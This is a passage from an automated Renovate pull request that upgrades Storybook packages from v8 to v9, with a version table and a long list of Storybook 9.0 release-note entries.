renovate
1aa0cd27d5
chore: bump up storybook monorepo to v9 (major) ( #12616 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links )) | [`^8.4.7` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.6.14/9.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react )) | [`^8.4.7` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.6.14/9.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite )) | [`^8.4.7` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.6.14/9.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [storybook](https://storybook.js.org ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/core )) | [`^8.4.7` -> `^9.0.0`](https://renovatebot.com/diffs/npm/storybook/8.6.14/9.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>storybookjs/storybook (@​storybook/addon-links)</summary>
### [`v9.0.0`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#900 )
[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.6.14...v9.0.0 )
##### Storybook 9.0 is here
This is a huge release focused on testing and bundle size.
- Component testing
- 👆 Interactions
- ♿ ️ Accessibility
- 👁️ Visual changes
- 🛡️ Coverage
- 🪶 48% lighter bundle
- 🏷️ Tags-based organization
- 🌐 Story globals
- 🏗️ Major upgrades: Svelte, Next, React Native, Angular
Please checkout our [Migration guide](https://storybook.js.org/docs/9/migration-guide ) to upgrade from earlier versions of Storybook. To see a comprehensive list of changes that went into 9.0, you can refer to the [9.0 prerelease changelogs](./CHANGELOG.prerelease.md)
<details>
<summary>List of all updates</summary>
- Addon A11y: Add `linkPath` to Axe results and use it in copy link action - [#​31009](https://redirect.github.com/storybookjs/storybook/pull/31009 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon A11y: Fix setup as part of storybook create - [#​31403](https://redirect.github.com/storybookjs/storybook/pull/31403 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon A11y: Fix usage of axe-core in pnpm projects - [#​31422](https://redirect.github.com/storybookjs/storybook/pull/31422 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon A11y: Fix various issues and inconsistencies - [#​31432](https://redirect.github.com/storybookjs/storybook/pull/31432 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon A11y: Improve selector automigration detection - [#​31392](https://redirect.github.com/storybookjs/storybook/pull/31392 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon A11y: Only run checks in story mode - [#​30976](https://redirect.github.com/storybookjs/storybook/pull/30976 ), thanks [@​kroeder](https://redirect.github.com/kroeder )!
- Addon A11y: Provide full report in a11y manual runs - [#​31325](https://redirect.github.com/storybookjs/storybook/pull/31325 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon A11y: Use short titles and friendly summary messages in A11y report - [#​31185](https://redirect.github.com/storybookjs/storybook/pull/31185 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon Controls: Fix loading state UI in addon panel - [#​31168](https://redirect.github.com/storybookjs/storybook/pull/31168 ), thanks [@​iineineno03k](https://redirect.github.com/iineineno03k )!
- Addon Docs: Fix `layout: centered` in conjunction with `inline: false` - [#​31430](https://redirect.github.com/storybookjs/storybook/pull/31430 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon Docs: Fix docs-content overflow with TOC - [#​27167](https://redirect.github.com/storybookjs/storybook/pull/27167 ), thanks [@​njsokol](https://redirect.github.com/njsokol )!
- Addon Docs: Fix iframe content width in centered layout - [#​31320](https://redirect.github.com/storybookjs/storybook/pull/31320 ), thanks [@​Audie80](https://redirect.github.com/Audie80 )!
- Addon Docs: Improve TableOfContents HTML structure and a11y - [#​31327](https://redirect.github.com/storybookjs/storybook/pull/31327 ), thanks [@​Sidnioulz](https://redirect.github.com/Sidnioulz )!
- Addon Docs: Reset error boundary when story changes to recover from erros - [#​31242](https://redirect.github.com/storybookjs/storybook/pull/31242 ), thanks [@​yatishgoel](https://redirect.github.com/yatishgoel )!
- Addon Docs: Simplify color parsing and color cycling logic - [#​29840](https://redirect.github.com/storybookjs/storybook/pull/29840 ), thanks [@​leyvae](https://redirect.github.com/leyvae )!
- Addon Docs: Update telejson - [#​31115](https://redirect.github.com/storybookjs/storybook/pull/31115 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addon Pseudo States: Move package into monorepo - [#​31123](https://redirect.github.com/storybookjs/storybook/pull/31123 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon Test: Improve unhandled error messages - [#​30755](https://redirect.github.com/storybookjs/storybook/pull/30755 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon Test: Rename `@storybook/experimental-addon-test` to `@storybook/addon-vitest` - [#​31014](https://redirect.github.com/storybookjs/storybook/pull/31014 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addon Vitest: Ensure vitest exclusions are relative to the project root, not cwd - [#​31514](https://redirect.github.com/storybookjs/storybook/pull/31514 ), thanks [@​mrginglymus](https://redirect.github.com/mrginglymus )!
- Addon Vitest: Fix broken docs links - [#​31445](https://redirect.github.com/storybookjs/storybook/pull/31445 ), thanks [@​kylegach](https://redirect.github.com/kylegach )!
- Addon Vitest: Fix watch mode for new files - [#​31156](https://redirect.github.com/storybookjs/storybook/pull/31156 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addon Vitest: Ignore mdx files as part of tests - [#​31457](https://redirect.github.com/storybookjs/storybook/pull/31457 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon Vitest: Improve handling multiple browser mode projects - [#​31508](https://redirect.github.com/storybookjs/storybook/pull/31508 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon Vitest: Support `vitest.projects.ts` file as workspace file during postinstall - [#​31565](https://redirect.github.com/storybookjs/storybook/pull/31565 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon Vitest: Transform [@​storybook/nextjs](https://redirect.github.com/storybook/nextjs ) imports to [@​storybook/nextjs-vite](https://redirect.github.com/storybook/nextjs-vite ) during init - [#​31180](https://redirect.github.com/storybookjs/storybook/pull/31180 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addon Vitest: Use its own cache directory - [#​31439](https://redirect.github.com/storybookjs/storybook/pull/31439 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Addon-a11y: Replace `element` parameter with `context` - [#​31036](https://redirect.github.com/storybookjs/storybook/pull/31036 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-A11y: Various improvements - [#​30774](https://redirect.github.com/storybookjs/storybook/pull/30774 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Addon-Essentials: Remove addon-docs - [#​30856](https://redirect.github.com/storybookjs/storybook/pull/30856 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Addon-Test: Automatically load before all - [#​30584](https://redirect.github.com/storybookjs/storybook/pull/30584 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Addon-test: Exclude `storybook-static` from coverage reports - [#​31005](https://redirect.github.com/storybookjs/storybook/pull/31005 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-test: Fix watching non-story files, run all tests on preview change - [#​31045](https://redirect.github.com/storybookjs/storybook/pull/31045 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-Test: Migrate to new test provider API, drop Vitest 2 support - [#​30875](https://redirect.github.com/storybookjs/storybook/pull/30875 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-Vitest: Always clean coverage before (re)running - [#​31540](https://redirect.github.com/storybookjs/storybook/pull/31540 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-vitest: Fix coverage being disabled with Run All button - [#​31074](https://redirect.github.com/storybookjs/storybook/pull/31074 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-vitest: Fix coverage when restarting Vitest due to config change - [#​31069](https://redirect.github.com/storybookjs/storybook/pull/31069 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-vitest: Fix wrong test count in telemetry - [#​31504](https://redirect.github.com/storybookjs/storybook/pull/31504 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-vitest: Remove internal log for `staticDir` - [#​31340](https://redirect.github.com/storybookjs/storybook/pull/31340 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Addon-vitest: Support paths with spaces - [#​31437](https://redirect.github.com/storybookjs/storybook/pull/31437 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Addons: Add shim Storybook addons for previously removed addons - [#​31520](https://redirect.github.com/storybookjs/storybook/pull/31520 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addons: Move [@​storybook/addon-interactions](https://redirect.github.com/storybook/addon-interactions ) into core - [#​30916](https://redirect.github.com/storybookjs/storybook/pull/30916 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addons: Remove [@​storybook/addon-storysource](https://redirect.github.com/storybook/addon-storysource ) - [#​31007](https://redirect.github.com/storybookjs/storybook/pull/31007 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Addons: Update the Viewport and Background Addon - [#​30841](https://redirect.github.com/storybookjs/storybook/pull/30841 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- AddonVitest: Use framework package, not renderer - [#​31133](https://redirect.github.com/storybookjs/storybook/pull/31133 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- All packages: Remove unused dependencies - [#​31227](https://redirect.github.com/storybookjs/storybook/pull/31227 ), thanks [@​webpro](https://redirect.github.com/webpro )!
- Angular: Add [@​angular-devkit/build-angular](https://redirect.github.com/angular-devkit/build-angular ) to default installed pacakages in angular - [#​30790](https://redirect.github.com/storybookjs/storybook/pull/30790 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Angular: Filter non-inputs from controls - [#​30550](https://redirect.github.com/storybookjs/storybook/pull/30550 ), thanks [@​robertIsaac](https://redirect.github.com/robertIsaac )!
- Angular: remove invalid defaults for start-storybook - [#​31337](https://redirect.github.com/storybookjs/storybook/pull/31337 ), thanks [@​AgentEnder](https://redirect.github.com/AgentEnder )!
- ArgTypes: Always extract argTypes, even without `addon-docs` - [#​31488](https://redirect.github.com/storybookjs/storybook/pull/31488 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Autoblock: Add autoblocker for addon-test - [#​31068](https://redirect.github.com/storybookjs/storybook/pull/31068 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Autoblock: Fix link - [#​31236](https://redirect.github.com/storybookjs/storybook/pull/31236 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- AutoBlocker: Add major version upgrade blocker - [#​30714](https://redirect.github.com/storybookjs/storybook/pull/30714 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Automigrate: Disable `missingStorybookDependencies` for 9.0 - [#​30769](https://redirect.github.com/storybookjs/storybook/pull/30769 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Automigrate: Prefer framework import - [#​30785](https://redirect.github.com/storybookjs/storybook/pull/30785 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Automigration: Add new Storybook addons to consolidated packages mapping - [#​30993](https://redirect.github.com/storybookjs/storybook/pull/30993 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Adjust addon-docs install condition - [#​31343](https://redirect.github.com/storybookjs/storybook/pull/31343 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Always scan file system to substitute essential addons - [#​31176](https://redirect.github.com/storybookjs/storybook/pull/31176 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Correctly apply the wrap-require automigration in ESM modules - [#​31420](https://redirect.github.com/storybookjs/storybook/pull/31420 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Enhance import transformation to handle partial package matches - [#​31033](https://redirect.github.com/storybookjs/storybook/pull/31033 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Ensure correct addition of missing dependencies - [#​31023](https://redirect.github.com/storybookjs/storybook/pull/31023 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Fix an issue when main.js addons have dynamic values - [#​31273](https://redirect.github.com/storybookjs/storybook/pull/31273 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Fix consolidated-imports with sub-paths - [#​31135](https://redirect.github.com/storybookjs/storybook/pull/31135 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Automigration: Fix wrap require wrapper - [#​31569](https://redirect.github.com/storybookjs/storybook/pull/31569 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Improve renderer to framework automigration - [#​31397](https://redirect.github.com/storybookjs/storybook/pull/31397 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Migrate users to codePanel - [#​31313](https://redirect.github.com/storybookjs/storybook/pull/31313 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Misc addon-essentials migration fixes - [#​31072](https://redirect.github.com/storybookjs/storybook/pull/31072 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Pass over flags when calling automigrations - [#​31342](https://redirect.github.com/storybookjs/storybook/pull/31342 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Remove `@storybook/addon-essentials` proper - [#​31015](https://redirect.github.com/storybookjs/storybook/pull/31015 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Automigration: Remove `docs.autodocs` field - [#​31203](https://redirect.github.com/storybookjs/storybook/pull/31203 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Automigration: Respect config-dir option - [#​31233](https://redirect.github.com/storybookjs/storybook/pull/31233 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigration: Update mapping for '[@​storybook/experimental-nextjs-vite](https://redirect.github.com/storybook/experimental-nextjs-vite )' - [#​30991](https://redirect.github.com/storybookjs/storybook/pull/30991 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigrations: Add logging - [#​31066](https://redirect.github.com/storybookjs/storybook/pull/31066 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigrations: Fix installation of addon-docs - [#​31399](https://redirect.github.com/storybookjs/storybook/pull/31399 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Automigrations: Re-add renderer-to-framework and fix issue in monorepositories - [#​31011](https://redirect.github.com/storybookjs/storybook/pull/31011 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Backgrounds/Viewport: Fix resetting - [#​31386](https://redirect.github.com/storybookjs/storybook/pull/31386 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Blocks: IconGallery improvement - [#​30743](https://redirect.github.com/storybookjs/storybook/pull/30743 ), thanks [@​leeovictor](https://redirect.github.com/leeovictor )!
- Build: Update import paths and enable syntax minification - [#​31390](https://redirect.github.com/storybookjs/storybook/pull/31390 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Cleanup: Remove obsolete dependency - [#​31177](https://redirect.github.com/storybookjs/storybook/pull/31177 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- CLI: Add `storybook-static` to `.gitignore` on init - [#​31201](https://redirect.github.com/storybookjs/storybook/pull/31201 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- CLI: Add detection for the storybook package being behind any other core packages - [#​30861](https://redirect.github.com/storybookjs/storybook/pull/30861 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- CLI: Add index command / API - [#​30071](https://redirect.github.com/storybookjs/storybook/pull/30071 ), thanks [@​shilman](https://redirect.github.com/shilman )!
- CLI: Add React Native `.rnstorybook` CLI automigration - [#​30882](https://redirect.github.com/storybookjs/storybook/pull/30882 ), thanks [@​shilman](https://redirect.github.com/shilman )!
- CLI: Detect correct storybook version on upgrade - [#​31393](https://redirect.github.com/storybookjs/storybook/pull/31393 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- CLI: Do not install renderer package on `init` - [#​30799](https://redirect.github.com/storybookjs/storybook/pull/30799 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- CLI: Enhance compatibility check: deprecated detection - [#​31317](https://redirect.github.com/storybookjs/storybook/pull/31317 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- CLI: Fix framework for preview imports - [#​31101](https://redirect.github.com/storybookjs/storybook/pull/31101 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- CLI: Fix get versions utility for NPM - [#​29577](https://redirect.github.com/storybookjs/storybook/pull/29577 ), thanks [@​johnrcui](https://redirect.github.com/johnrcui )!
- CLI: Improve CLI upgrade process for [@​latest](https://redirect.github.com/latest ) and [@​next](https://redirect.github.com/next ) - [#​31356](https://redirect.github.com/storybookjs/storybook/pull/31356 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- CLI: Improve package upgrade logic - [#​31406](https://redirect.github.com/storybookjs/storybook/pull/31406 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- CLI: Install prereleases of `@chromatic-com/storybook` - [#​30662](https://redirect.github.com/storybookjs/storybook/pull/30662 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- CLI: Make sure that the add commands logs all output to the console - [#​30865](https://redirect.github.com/storybookjs/storybook/pull/30865 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- CLI: Remove `@latest` from `yarn create` commands - [#​31458](https://redirect.github.com/storybookjs/storybook/pull/31458 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- CLI: Supress npm notice update log messages - [#​31334](https://redirect.github.com/storybookjs/storybook/pull/31334 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- CLI: Tweak init prompt - [#​31376](https://redirect.github.com/storybookjs/storybook/pull/31376 ), thanks [@​shilman](https://redirect.github.com/shilman )!
- CLI: Update nx docs in Storybook detection error - [#​31266](https://redirect.github.com/storybookjs/storybook/pull/31266 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- CLI: Wrap object addon names in wrap-require migration - [#​31285](https://redirect.github.com/storybookjs/storybook/pull/31285 ), thanks [@​yatishgoel](https://redirect.github.com/yatishgoel )!
- CodePanel: Show originalSource code - [#​31456](https://redirect.github.com/storybookjs/storybook/pull/31456 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Controls: Embed addon-controls into the core - [#​30864](https://redirect.github.com/storybookjs/storybook/pull/30864 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Controls: Remove empty state video link - [#​31539](https://redirect.github.com/storybookjs/storybook/pull/31539 ), thanks [@​kylegach](https://redirect.github.com/kylegach )!
- Core / Addon A11y: Emit `STORY_HOT_UPDATED` and rerun A11y tests on HMR - [#​31423](https://redirect.github.com/storybookjs/storybook/pull/31423 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Add error boundary to tabs to prevent addon errors breaking Storybook - [#​30952](https://redirect.github.com/storybookjs/storybook/pull/30952 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Core: Add highlight as public API - [#​31134](https://redirect.github.com/storybookjs/storybook/pull/31134 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Core: Add preview navigator and `--preview-only` CLI flag - [#​31102](https://redirect.github.com/storybookjs/storybook/pull/31102 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Automatically expand testing module on unhandled error - [#​31028](https://redirect.github.com/storybookjs/storybook/pull/31028 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Avoid pre-bundling of preview-api in manager entries - [#​31385](https://redirect.github.com/storybookjs/storybook/pull/31385 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Core: Bring back loading globals from global types in portable stories - [#​31328](https://redirect.github.com/storybookjs/storybook/pull/31328 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Core: Builder-manager disable metafile - [#​31467](https://redirect.github.com/storybookjs/storybook/pull/31467 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Core: Change require.resolve path for storybook/package.json - [#​31230](https://redirect.github.com/storybookjs/storybook/pull/31230 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Core: Cleanup dependencies - [#​31222](https://redirect.github.com/storybookjs/storybook/pull/31222 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Create `features` for addons moved into core - [#​31146](https://redirect.github.com/storybookjs/storybook/pull/31146 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Core: Do not show 'Render story' step in interactions - [#​31452](https://redirect.github.com/storybookjs/storybook/pull/31452 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Draw highlights on top of canvas and add various new features - [#​30894](https://redirect.github.com/storybookjs/storybook/pull/30894 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Fix core annotations applied twice - [#​31361](https://redirect.github.com/storybookjs/storybook/pull/31361 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Core: Fix favicon issue on dev server - [#​30818](https://redirect.github.com/storybookjs/storybook/pull/30818 ), thanks [@​MuhdHishamP](https://redirect.github.com/MuhdHishamP )!
- Core: Fix flaky unit tests related to stores - [#​30963](https://redirect.github.com/storybookjs/storybook/pull/30963 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Fix highlight `clickEvent` serialization and export public types - [#​31179](https://redirect.github.com/storybookjs/storybook/pull/31179 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Fix highlight conflicts - [#​31204](https://redirect.github.com/storybookjs/storybook/pull/31204 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Fix highlighting zero-pixel elements and focus on single element - [#​31183](https://redirect.github.com/storybookjs/storybook/pull/31183 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Fix sidebar accessibility order for screen readers - [#​31250](https://redirect.github.com/storybookjs/storybook/pull/31250 ), thanks [@​yatishgoel](https://redirect.github.com/yatishgoel )!
- Core: Improve unhandled error detection - [#​31440](https://redirect.github.com/storybookjs/storybook/pull/31440 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Core: Increase compile targets for node & browsers - [#​31139](https://redirect.github.com/storybookjs/storybook/pull/31139 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Make sure to only mutate writable arrays - [#​31578](https://redirect.github.com/storybookjs/storybook/pull/31578 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Core: Move [@​storybook/addon-actions](https://redirect.github.com/storybook/addon-actions ) into storybook - [#​30765](https://redirect.github.com/storybookjs/storybook/pull/30765 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Core: Move [@​storybook/instrumenter](https://redirect.github.com/storybook/instrumenter ) into core - [#​30740](https://redirect.github.com/storybookjs/storybook/pull/30740 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Core: New Status Store - [#​30764](https://redirect.github.com/storybookjs/storybook/pull/30764 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: New Test Provider Store - [#​30828](https://redirect.github.com/storybookjs/storybook/pull/30828 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Prebundle jsdoc-type-pratt-parser again - [#​30923](https://redirect.github.com/storybookjs/storybook/pull/30923 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Core: Re-Export renderers from frameworks - [#​30771](https://redirect.github.com/storybookjs/storybook/pull/30771 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Core: Remove `util`, `browser-assert`, `process` deps - [#​30805](https://redirect.github.com/storybookjs/storybook/pull/30805 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Core: Remove `uuid` package from core - [#​31219](https://redirect.github.com/storybookjs/storybook/pull/31219 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Remove deprecated parts of test provider API - [#​30962](https://redirect.github.com/storybookjs/storybook/pull/30962 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Remove duplicate notification dot on sidebar buttons on mobile - [#​31485](https://redirect.github.com/storybookjs/storybook/pull/31485 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Remove maximum-scale=1 from viewport meta tag - [#​31283](https://redirect.github.com/storybookjs/storybook/pull/31283 ), thanks [@​yatishgoel](https://redirect.github.com/yatishgoel )!
- Core: Rename local tests to interactions - [#​31141](https://redirect.github.com/storybookjs/storybook/pull/31141 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Core: Set a minimum height/width for the targetable area of highlights - [#​31486](https://redirect.github.com/storybookjs/storybook/pull/31486 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Show "Render story" event explicitly in Component Tests event trace - [#​31027](https://redirect.github.com/storybookjs/storybook/pull/31027 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Support groups and info icon in highlight popover menu - [#​31475](https://redirect.github.com/storybookjs/storybook/pull/31475 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Support React Native environment without static class blocks - [#​31282](https://redirect.github.com/storybookjs/storybook/pull/31282 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Core: Testing Module UI improvements - [#​30773](https://redirect.github.com/storybookjs/storybook/pull/30773 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Core: Wait for animations before completing render cycle - [#​31287](https://redirect.github.com/storybookjs/storybook/pull/31287 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- CSF-Tools: Add support for existing node imports and improve import handling - [#​31497](https://redirect.github.com/storybookjs/storybook/pull/31497 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Csf-Tools: Enhance setFieldNode logic to handle variable declarations - [#​31056](https://redirect.github.com/storybookjs/storybook/pull/31056 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- CSF: Fix handling of renamed story exports - [#​31519](https://redirect.github.com/storybookjs/storybook/pull/31519 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Dependencies: Update dependencies - [#​31143](https://redirect.github.com/storybookjs/storybook/pull/31143 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Dependencies: Update docgen - [#​31465](https://redirect.github.com/storybookjs/storybook/pull/31465 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Dependencies: Upgrade [@​types/estree](https://redirect.github.com/types/estree ) package to version v1.0.6 - [#​29477](https://redirect.github.com/storybookjs/storybook/pull/29477 ), thanks [@​hakshu25](https://redirect.github.com/hakshu25 )!
- Dependencies: Upgrade `telejson` - [#​30998](https://redirect.github.com/storybookjs/storybook/pull/30998 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Dependencies: Upgrades - [#​30515](https://redirect.github.com/storybookjs/storybook/pull/30515 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Dependencies: Upgrades for security - [#​31235](https://redirect.github.com/storybookjs/storybook/pull/31235 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Dependencies: Upgrades for security - [#​31276](https://redirect.github.com/storybookjs/storybook/pull/31276 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Dependencies: Upgrades for security - [#​31291](https://redirect.github.com/storybookjs/storybook/pull/31291 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
